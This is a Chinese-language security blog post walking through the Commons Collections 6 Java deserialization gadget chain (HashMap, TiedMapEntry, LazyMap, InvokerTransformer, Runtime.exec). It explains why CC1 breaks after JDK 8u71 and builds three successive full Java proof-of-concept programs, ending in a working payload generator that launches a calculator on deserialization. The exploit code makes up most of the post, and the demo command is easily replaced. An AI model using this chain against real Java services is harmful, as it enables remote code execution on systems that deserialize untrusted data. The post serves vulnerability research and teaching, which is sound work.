前言
上一篇我们详细分析了CommonsCollections1这个利用链和其中的LazyMap原理
但是到了Java 8u71以后,这个利用链不能再利用了,因为它的AnnotationInvocationHandler#readObject有了变化
然后导致这条链子的产生,它现在的参数已经不可靠控了
所有这个类在cc6中就被丢弃了,所以就需要一条不受jdk版本限制的一条链
其实最重要的点就在于没有其他调用LazyMap#get的地方,然后org.apache.commons.collections.keyvalue.TiedMapEntry这个类可以被利用
我们来看看这个类,他传入的是我们的map类和object的对象
在这个地方可以走到我们之前lazyMap的get方法
然后在它的hashCode里有对getValue方法的调用
我们又会想到URLDNS中HashMap对hashCode方法对调用,链子就清晰了
URLDNS分析可以参考:http://blog.m1kael.cn/index.php/archives/449/
初始poc:
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) throws ClassNotFoundException, IOException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put(tiedMapEntry,"456");
Serializable(objectObjectHashMap,"test.bin");
Unserializable("test.bin");
}
public static void Serializable(Object object,String filename) throws IOException {
OutputStream out = new FileOutputStream(filename);
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
objOut.close();
}
public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream(filename);
ObjectInputStream objIn = new ObjectInputStream(in);
Object obj = objIn.readObject();
return obj;
}
}
但是我们知道,URLDNS中在序列化的时候的put方法也会触发hashCode
所有我们需要把put方法这里给防止一下,回想一下之前的URLDNS的链子,也是从后续想调用hashCode类的地方入手
但是TiedMapEntry这个类的hashCode并不像URLDNS中有可以规避方法调用的地方
所有只能从之前开始考虑,考虑让他在put的时候不调用我们的transform,然后再反射替换掉
入手点就是lazyMap的factory变量
修改后的poc
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put(tiedMapEntry,"456");
Class<? extends Map> aClass = decorate.getClass();
Field factory = aClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
Serializable(objectObjectHashMap,"test.bin");
Unserializable("test.bin");
}
public static void Serializable(Object object,String filename) throws IOException {
OutputStream out = new FileOutputStream(filename);
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
objOut.close();
}
public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream(filename);
ObjectInputStream objIn = new ObjectInputStream(in);
Object obj = objIn.readObject();
return obj;
}
}
但是我们会发现序列化和反序列化都不会触发我们rce了,所以debug找找原因
发现在反序列化的时候我们key已经是第一次赋值的123了
之前在URLDNS的时候我们就知道这个地方是查询已经存在的key
所以我们需要在序列化之前删除掉这个key才能保证进入链子
最终poc
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;
public class Cc1Test {
public static void main(String[] args) throws ClassNotFoundException, IOException, NoSuchFieldException, IllegalAccessException {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> hashMap = new HashMap<>();
Map<Object, Object> decorate = LazyMap.decorate(hashMap, new ChainedTransformer(new Transformer[]{}));
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate, "123");
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put(tiedMapEntry,"456");
Class<? extends Map> aClass = decorate.getClass();
Field factory = aClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(decorate,chainedTransformer);
decorate.remove("123");
Serializable(objectObjectHashMap,"test.bin");
Unserializable("test.bin");
}
public static void Serializable(Object object,String filename) throws IOException {
OutputStream out = new FileOutputStream(filename);
ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(object);
objOut.close();
}
public static Object Unserializable(String filename) throws IOException, ClassNotFoundException {
InputStream in = new FileInputStream(filename);
ObjectInputStream objIn = new ObjectInputStream(in);
Object obj = objIn.readObject();
return obj;
}
}
测试
最终调用链也很简单
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
Ysoserial同理
声明:本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担! 本网站采用BY-NC-SA协议进行授权!转载请注明文章来源! 图片失效请留言通知博主及时更改!